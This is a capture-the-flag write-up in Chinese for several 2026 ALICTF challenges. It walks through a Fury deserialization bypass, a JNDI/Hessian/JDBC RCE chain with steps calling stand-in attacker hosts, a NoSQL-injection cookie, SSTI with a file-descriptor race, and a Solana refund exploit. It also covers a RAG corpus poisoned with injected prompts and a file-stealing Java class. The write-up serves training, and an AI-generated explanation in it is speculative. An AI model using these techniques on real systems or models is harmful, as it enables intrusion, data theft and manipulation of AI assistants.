本次 ALICTF 我们 SU 取得了 第十名 的成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。
以下是我们 SU 本次 2026 ALICTF 的 WriteUp。
Web
Fileury
自 RCTF 一役沉寂许久,中间更是在 0CTF 被打得找不着北,未曾想今朝阿里云 CTF 竟让我寻回了用武之地。
话不多说,直接看题,题目使用 Apache Fury 进行反序列化,配置如下:
| |
Fury 通过 fury/disallowed.txt 维护一份类黑名单,在反序列化时会检查类名是否在黑名单中。
黑名单检查逻辑 (DisallowedList.java):
| |
黑名单包含了大部分常用反序列化 Gadget 类:
复盘去年 WP 发现,当前环境缺失了 com.feilong 依赖,导致二次反序列化绕过黑名单的方案失效,这也意味着挖掘新利用链
先分析一下黑名单,包含了大部分常用反序列化 Gadget 类:
| Gadget 类 | 状态 |
|---|---|
TemplatesImpl | ❌ 被拦截 |
InvokerTransformer | ❌ 被拦截 |
ChainedTransformer | ❌ 被拦截 |
ConstantTransformer | ❌ 被拦截 |
TiedMapEntry | ❌ 未在黑名单但依赖的 Transformer 被拦截 |
BadAttributeValueExpException | ❌ 被拦截 |
未被拦截的关键类:
org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMaporg.apache.commons.collections.map.LazyMaporg.apache.commons.collections.keyvalue.TiedMapEntryorg.apache.commons.collections.comparators.TransformingComparatororg.apache.commons.collections.functors.ConstantFactoryorg.apache.commons.collections.functors.StringValueTransformer
起初试图复刻去年的思路挖掘二次反序列化,但此路俺没走通,失败了
就在一筹莫展之际,猛地想起老大梅子酒在 Non-RCE 题解中提到的 StoreableCachingMap 链子。这条链子能实现任意路径写文件,幸运地避开了黑名单的拦截**!**
| |
适配Fury 完整POC如下:
| |
利用链触发流程:
| |
有了写文件能力,我以为胜券在握。尝试了包括但不限于计划任务、LD_Preload、charsets.jar 等各种写入姿势,结果竟无一奏效。苦也!这波折腾直接把狂子写到怀疑人生,当时心凉半截,只道是这一血要拱手让人了

正所谓山重水复疑无路,柳暗花明又一村。绝境中忽忆起一篇 FastJson 写入绕过的文章,妙招在于开启 -verbose:class 参数,通过监控类加载情况,精准定位未被加载的 JAR 包实施覆盖利用。
通过监控类加载情况,dnsns.jar 没有被加载!
| |
这意味着可以通过反序列化
sun.net.spi.nameservice.dns.DNSNameServiceDescriptor触发dnsns.jar加载。这一记回马枪,直接让死局复活
| |
至于dnsns.jar 怎么改?驰骋AWDP赛场的诸君,像这种JarEditor 手改字节码的基操,想必无需我多言了,对吧?
先发包覆盖dnsns.jar ,再发包触发恶意类加载,完成RCE

比赛结束后,我试图向她解释什么是 Apache Fury 的黑名单绕过,解释那个 dnsns.jar 的覆盖是多么的神来之笔。她只是淡淡地看了我一眼转身就走了
那一刻我才明白
可惜她不懂JAVA,也不懂我的⚡超!⚡级!⚡炎!🔥舞!🔥爆!⚡爆!⚡回!⚡

参考资料:
- AliyunCTF2025 题解之 Jtools Fury 反序列化利用分析
- AliyunCTF2025-JTools分析
- [Servlet中的时间竞争及AspectJWeaver反序列化Gadget构造non-RCE 题解]
- [Java Puzzle #3 WP] Fastjson write ascii JAR RCE
- 可惜她不玩街霸,也没人懂我的⚡超!⚡级!⚡炎!🔥舞!🔥爆!⚡爆!⚡回!⚡
MHGA
我曾经发誓这辈子不会再为Java流泪,但MHGA这JNDI+Hessian+JDBC组合洞的韧性让我哭花了妆😭😭😭
入口点
题目提供了一个 Spring Boot 应用,核心在于 Web.java 提供了一个 HTTP 接口,该接口接受一个 X-Lookup-URL 头,并对其进行 JNDI lookup。
| |
这是一个典型的 JNDI 注入入口,JDK版本为 OpenJDK 11.0.29
Stage 1: Hessian 链构造
题目名称暗示了 Hessian。检查依赖发现 com.caucho.hessian.client.HessianProxyFactory 实现了 javax.naming.spi.ObjectFactory。
可以通过 JNDI 返回一个 Reference 指向 HessianProxyFactory,所有的 Reference 属性都会被转化为 Hessian 代理的配置。
当 JNDI 进行 getObjectInstance 时,返回的是一个 Hessian 代理对象。如果后续对这个代理对象调用了方法,就会触发 Hessian 反序列化请求。
| |
利用点:
攻击者可以通过 JNDI 返回一个精心构造的 Reference:
- Factory Class:
com.caucho.hessian.client.HessianProxyFactory(本地存在)。 - type: 设置为任意接口(例如
javax.naming.directory.DirContext)。 - url: 设置为攻击者控制的 HTTP 地址。
当 JndiLoginModule 获取到这个对象后,它实际上是一个 Hessian 代理。一旦它调用该对象的任何方法(如 DirContext.search),Hessian 代理就会拦截调用,并通过 HTTP POST 请求将方法调用序列化发送给攻击者的 URL。
攻击者响应该 HTTP 请求时,返回一个恶意的 Hessian 序列化数据(RPC Reply),客户端在收到响应后会反序列化该数据,从而触发 Gadget Chain。
至于Hessian Payload,发现存在Jackson依赖就好办了,使用 Jackson POJONode 触发 UnixPrintService的getter 方法达成RCE
2026 年了,不识 UnixPrintService,纵称英雄也枉然,快去学习我大哥yemoli在KCON2023首秀的《Magic In Java API》议题

完整POC如下( Hessian 序列化****数据必须是 2.0 RPC Reply 格式):
| |
直接通过 JNDI 返回 Hessian 代理对象并不会立即触发 RCE,因为 InitialContext.lookup 仅仅返回对象,并不一定会调用其任意方法。
Stage 2: ViburDBCPObjectFactory到 Databricks JDBC
首先想到的是浅蓝师傅的《探索高版本 JDK 下 JNDI 漏洞的利用方法》提到的LookupRef 可以触发二次JNDI请求,后续会调用getClass()方法,触发hessian反序列化,但是其只存在在Tomcat 依赖中
难道这就陷入到僵局了嘛,Bro😭😭😭
| |

继续分析发现还存在ViburDBCPObjectFactory 可以利用,其中,允许通过 JNDI Reference 实例化并配置一个 DataSource,且会自动调用其 start()方法内部调用 DriverManager.getDriver(jdbcUrl),从而触发JDBC 攻击
值得庆幸的是有 Databricks JDBC 驱动且存在CVE-2024-49194 会触发JNDI注入,
搭建 HTTP 服务器,提供 jaas.conf:
| |
当 JDBC 驱动加载此配置并进行身份验证时,JndiLoginModule 会读取 user.provider.url 并执行 ctx.lookup(),那么整条攻击链条就瞬间闭环了
攻击链路:
- Attacker: 发送
X-Lookup-URL: ldap://attacker/Vibur/Exploit - Server: JNDI lookup ->
ViburDBCPObjectFactory - Vibur: 创建 DataSource -> 连接 JDBC URL
- JDBC: 下载
http://attacker/jaas.conf-> 加载JndiLoginModule - JAAS: JndiLoginModule lookup
ldap://attacker/Hessian/Exploit - Hessian: 返回
HessianProxy(代理DirContext) - JAAS: 调用
proxy.search()-> 触发 Hessian 请求 - Server: 反序列化 Hessian Payload ->
UnixPrintService-> RCE - RCE:
chmod 444 /flag && cat /flag-> CAT FLAG

Stage 3: 获取FLAG
改写x1r0z 师傅的JNDIMap 项目修改参考 https://github.com/N1etzsche0/JNDIMap

爽!😎这才叫RCE🎶!😋👍爽!😎这才叫RCE🎶!😋👍😎这才叫RCE🎶!

GGWP
青山不改,绿水长流。山水有相逢,下篇WP再见
参考资料:
- [Magic In Java Api](https://github.com/knownsec/KCon/blob/master/2023/Magic In Java Api.pdf)
- 探索高版本 JDK 下 JNDI 漏洞的利用方法
- CVE-2024-49194 Databricks JDBC 驱动 JNDI 注入漏洞分析
- JNDIMap
- NIKO15次梦碎Major、😭一生只哭18次😭、【活着】“所以生命啊,它苦涩如歌”
easy_login
通过审计 src/server.ts,可以发现
admin 用户会随机生成一个长字符串密码
Flag 在 /admin 接口中返回,该接口要求当前登录用户必须是 admin
使用 cookie-parser 解析 Cookie,并将解析出的 sid 直接给数据库查询

在 sessionMiddleware 中以下代码存在nosql注入

当 Cookie 以 j: 开头时,cookie-parser 会尝试将其解析为 JSON 对象。如果我们将 sid 设置为 {"$ne": “random_value”},查询语句将变为 db.sessions.findOne({ sid: { “$ne”: “random_value” } })
所以我们可以通过 /visit 接口,利用应用内部的 Bot 自动进行管理员登录。这将导致数据库中产生一个admin 用户的 Session,再使用 NoSQL 注入绕过 sid 的精确匹配。设置Cookie 为sid=j:{"$ne": “anything”} 访问 /admin,就可以绕过鉴权
exp
| |
flag
| |
Cutter
审计代码可以发现admin路由下存在可以利用的一些点

path.join拼接tmpl参数时没有过滤..`,导致路径穿越和任意文件读取
读取的文件内容直接通过 render_template_string 渲染。如果我们能控制被读取的文件内容,就能实现 SSTI
但是这里存在一个问题就是需要API_KEY才能实现
还有action路由下存在格式化字符串漏洞可以利用

在 debug 模式下,允许通过 content.format(app) 泄露对象属性。这可以用来泄露全局变量中的 API_KEY
heartbeat路由

可以发现我们可以通过请求参数控制任意的 headers,可以注入 Content-Type 来改变 httpx 发往由 /action 接收的数据包的结构
/heartbeat 硬编码了 action 类型为 echo,无法直接触发 /action 的 debug 模式。但通过注入 Content-Type 头部,我们可以劫持数据包,设置 client=Content-Type和token=multipart/form-data; boundary=HACKER,在 text 字段中构造包含 {"type": "debug"} 的 action 部分
这样当 /action 收到请求时,它会优先使用我们注入的 HACKER 作为 Boundary。后端会读取我们在 text 中构造的第二个 action 字段,从而覆盖掉原始的 echo
泄漏 Payload:{0.view_functions[index].globals[API_KEY]}
可以得到API_KEY = 911ec63d10f2bd607080ca3ff396a647699de5159e13f99c615e03fd9aa2a806
拿到了 API_KEY 后,我们可以访问 /admin。虽然可以 LFI 读文件,但是我们不知道flag的具体文件名。

在 Linux 中,/proc/self/fd/ 包含了进程当前打开的所有文件描述符。FD 3通常是服务器监听的 Socket。FD 4-10: 通常是当前正在处理请求的输入流(wsgi.input)或者因请求体过大而产生的临时缓存文件。
所以如果我们包含正在读取我们请求体的那个 FD,/admin 就会读取我们发送的内容。
让ai写了个FD条件竞争的脚本
| |
- 由一个线程向
/heartbeat发送超大请求(几百 KB 的填充数据),目的是让 Werkzeug 将请求体写入磁盘上的临时文件。 - 主线程同时在
/admin上循环尝试读取各显 FD(如/proc/self/fd/6)。
运行脚本的目标不是直接读 Flag 文件,而是希望 FD 里面是我们发送的 SSTI Payload {{ config...os.listdir('/') }},从而让我们执行命令去寻找 Flag。
结果在进行到Step 1147的时候收到了如下响应: FD 6 returned 200 but no flag listing. Snippet: alictf{301e7a69...}
ai分析原因:
- 残存数据 (Residual Buffers): 服务器是多线程的。在之前的格式化字符串攻击中,我们可能已经通过 format(app) 引起了某些包含了 flag 或者系统环境信息的变量被输出到了某个内部缓冲区。
- 异步连接泄露: 当我们通过 /admin 包含正在处理的 Socket FD 时,我们读取的是该 FD 对应的 内核级缓冲区 (Kernel Buffer)。如果这个时候服务器刚刚处理完一个含有泄露信息的请求,或者正在处理带有敏感数据的其他内部请求,通过 LFI 读取 FD 会直接捕获到这些“尚未清除”的原始数据。
- 内存映射: 在某些 Python 版本中,render_template_string 的处理逻辑结合 Werkzeug 对 wsgi.input 的处理,在极端高并发的情况下,FD 可能会指向一个被重置前留有前一个请求内容的内存页。
简单来说:我们像是在服务器的数据交换管道里插了一根吸管(通过读取 FD),本来想吸出自己的 Payload,结果顺带吸出了前序攻击或系统处理中残存在管道里的 Flag。
exp
| |
flag
| |
Backup Exec
Re + Web
题目说明了攻击路径+flag路径,任务就是复盘+读取 C:\Users\Administrator\Desktop\flag.txt
非常善良的题目 甚至给了pdb 直接狠狠拖入IDA
用 IDA-NO-MCP 导出一下让AI分析
| |
整理一下得到的信息
| |
根据题目中的 攻击者曾在系统上创建并配置了一个恶意 FTP 服务,试一下 发现可以匿名登录 anonymous

然后在 microsoft 目录下发现 results.txt,内容是 mimikatz dcsync /all 输出,包含大量 NTLM 哈希
| |
找到 RPC 要求的 SID 组
理论上可能是要用查询下 Server Backup Operators 组成员吧
但是我环境好像有问题 就把Username提出来猜了几个,发现 svc_dbbackup 是对的
| |
Misc
RAG投毒挑战
本质上是基于RAG的间接提示注入攻击
题目给出了对应的RAG数据库数据文本,而靶机固定量两个问题,RAG会基于数据库里的数据做向量检索,然后返回对应的问题答案
所以我们可以通过修改对应的数据文本去引导RAG检索我们构造的恶意提示词,然后去执行一些操作
下载原始语料后直接上传
测试后知道第一个问题的答案是李善德购买的宅子位于长安城南边的归义坊内。,去掉修饰语其实就是归义坊,通过VSCode搜索发现是在chunk_002.txt得到的这个答案。

试着在原文的归义坊附近添加内容来输出flag

上传后得到flag
Auction
题目实现的是一个拍卖
拍卖参数 为起拍价:1 SOL,Deposit:0.2 SOL ,Buy Now:10 SOL,但是最开始我们只有0.1SOL,状态未清理导致的状态混淆 :BidderState PDA的地址由 [b"bidder", auction_key, bidder_key] 派生。Auction PDA 的地址由 [b"auction", user_key, auction_id] 派生。如果我们创建一个拍卖(ID 1338),结束后将其关闭,然后 重新创建 同一个 ID 的拍卖, Auction 账户地址和对应的 BidderState 地址是完全相同的。合约在关闭拍卖时, 没有清除 BidderState 中的数据。
利用“低门槛进场,高门槛退场”的差异,凭空套取 Vault 中的资金。
我们写攻击代码lib.rs
| |
创建一个自定义拍卖(ID 1338),设置极低的起拍价(0 SOL),此时保证金为 0。玩家参与竞拍。由于保证金为 0,玩家无需支付 SOL,但合约将玩家的 deposit_paid 设为 true 。利用辅助账户(PDA)出价更高并结束该拍卖,或者直接关闭拍卖,保留玩家的 BidderState 状态。
重建 同一个拍卖(ID 1338),但这次设置极高的参数(如起拍价 100 SOL -> 保证金 20 SOL)。玩家再次竞拍。合约检查发现 deposit_paid 已经是 true,因此 跳过 了 20 SOL 的转账检查。利用辅助账户(PDA)出以 10 SOL赢得拍卖,使玩家成为输家。玩家调用 claim_refund 。合约读取当前拍卖的保证金设置(20 SOL),将这笔钱从 Vault 转给玩家。玩家凭空获得了 20 SOL。
此时玩家余额已超过 0.2 SOL。直接参与管理员的拍卖(ID 1),支付保证金。以10 SOL直接赢得拍卖。调用 claim_winner 获取 Flag。
最后修改main.rs获得flag
| |
Pwn
SyncVault
| |
Reverse
pixelflow
用Il2CppDumperr给GameAssembly.dll恢复符号,函数主逻辑在状态机Controller__Check_d__18__MoveNext
| |
状态机的加密逻辑很清晰,从case0到case5依次:
case0:调用Controller___Check_b__18_0_d():从输入框取字符串,解析出{}包裹的 16 字节 bytes case1:await Controller___Check_b__18_1_d:把这 16 字节写到一张 16×1 的纹理里 case2-case4:await Controller___Check_b__18_2_d连续跑三轮,调用 compute shader 的 kernel K0进行加密 case5:await Controller___Check_b__18_3_d:调用 kernel K1进行逐字节比对,失败写 SharedState 最后 UI 逻辑用 kernel K2 根据 SharedState 显示 Correct/Wrong
使用AssetRipper提取得到资源文件shader.assets,提取K0 K1 K2三个dxbc。提取后用dxdec反编译得到三个kernel的汇编代码:
K0:
| |
K1:
| |
K2:
| |
K0:单线程解释执行 coTex里的 RGBA 字节码维护 mem[32] 和 reg[16],按 opcode 做立即数赋值、从 WorkTex(u0) 读字节、XOR、8-bit 循环移位、乘法/加法混淆、比较设条件与条件跳转;执行结束后把 reg[0..15] 归一化为 float 写回 WorkTex 的 16×1 像素。
K1:每个线程处理一个 i(0..15):从 WorkTex(u0) 读 work[i](red*255 取整 &255),计算 ((work[i] + i) & 0xFF),再从 ciTex(t0) 读 ci[i](同样取整 &255),若 ci[i] != ((work[i] + i) & 0xFF) 就把 SharedState[0](u1[0])写成 1 表示失败;等价通过条件是 work[i] = (ci[i] - i) & 0xFF。
K2:典型 tile 渲染/后处理:对输出纹理 u0 的每个像素做边界检查后,按常量缓冲 CB0 计算归一化坐标并做 sincos 旋转/缩放偏移;根据 SharedState[0](u1[0])选择采样 t0(状态=0)或 t1(状态=1,否则输出黑),再按 r0.x 做一次向黑/alpha=1 的线性淡出混合,最后写回 u0
VM字节码和比较值来自于coTex.png和ciTex.png,写脚本提取出来:
| |
得到:
| |
VM字节码梳理过后是如下逻辑:
| |
7 mod 256 可逆,逆元为183,写逆为:
| |
连续逆三轮即可,exp如下:
| |
flag为:alictf{5haderVM_Rep3at!}
thief
unkown.zip里藏的.webp魔数是cafebabe,实际上是.class文件
梳理逻辑,整体逻辑如下:
在某个根目录(user.dir 的 parent)下递归搜集最多 9 个 .java 文件
每 3 个文件为一批,然后进行如下操作:
- 读取文件内容
- 用自定义 LZRR 压缩(每个文件独立压缩块)
- 拼接所有块
- 生成随机 8 字节会话 key,并把它用 RSA(65537) 公钥加密写进包头
- 用 Runner.encrypt(algo2/3, data, key) 对 payload 加密/混淆
- 将结果通过 Socket 发往 127.0.0.1:8889
那么首先从流量包里解析3 个 batch payload
| |
解析完得到:
| |
flag被分成了六份,需要解密RSA并且解 LZRR 压缩
batch1和3的key加密不依赖于seed,流密码直接xor,然后key 是base64 字符串,存在 l1I.webp(类 i.l.l1I)的常量池里。
写个脚本提取一下
| |
写一个decrypt.java去调用 i.l.Runner.encrypt()进行解密
| |
然后seed随便给就行,类似于:
| |
得到解密后的bin
Il1.Il1(byte[])` 是压缩器,解压缩:
| |
文件表里给的是每个文件在“明文流”里的 offset。明文流结构就是:
[file0 LZRR blob][file1 LZRR blob][file2 LZRR blob]…需要文件切片
调用解码器去解压并切片:
| |
每个 Image1Part 是:private static final String IMAGE_DATA = “….base64….";写脚本提取出来即可
提取脚本:
| |
解压解密后得到flag part 1,3,5,6
对于batch2,利用明文线性仿射得到seed
用题目压缩器 Il1 压缩 ParticlePhysicsSimulator.java
用一个 Java wrapper 调 i.l.Il1.Il1(byte[]):
| |
编译并运行:
| |
计算 keystream:K = C XOR P
取 batch2 ciphertext 的前 3577 bytes,和 pps_comp.bin xor:
| |
我们可以用 Runner.encrypt(key0, zeros, seed) 直接得到 K(seed)(因为输入全 0,输出就是 keystream)。 而:
| |
这说明是仿射线性:K(seed) = K(0) XOR (A * seed_bits)。
因此用 64 个 basis seed(1<<i)采样就能建立线性方程组,做高斯消元解出 seed。
| |
得到seed:a91b1bb4e8978bda
用seed 解 batch2,得到 Image1Part2 / Image1Part4
| |
然后像 batch1/batch3 一样切片 + LZRR 解压 + 提取 base64,即可得到flag_part_2.jpg和flag_part_4.jpg
最后写个脚本拼起来得到完整图片:

flag为:alictf{5a8e0fb1-d3f5-4b13-8424-164faab9bbd2}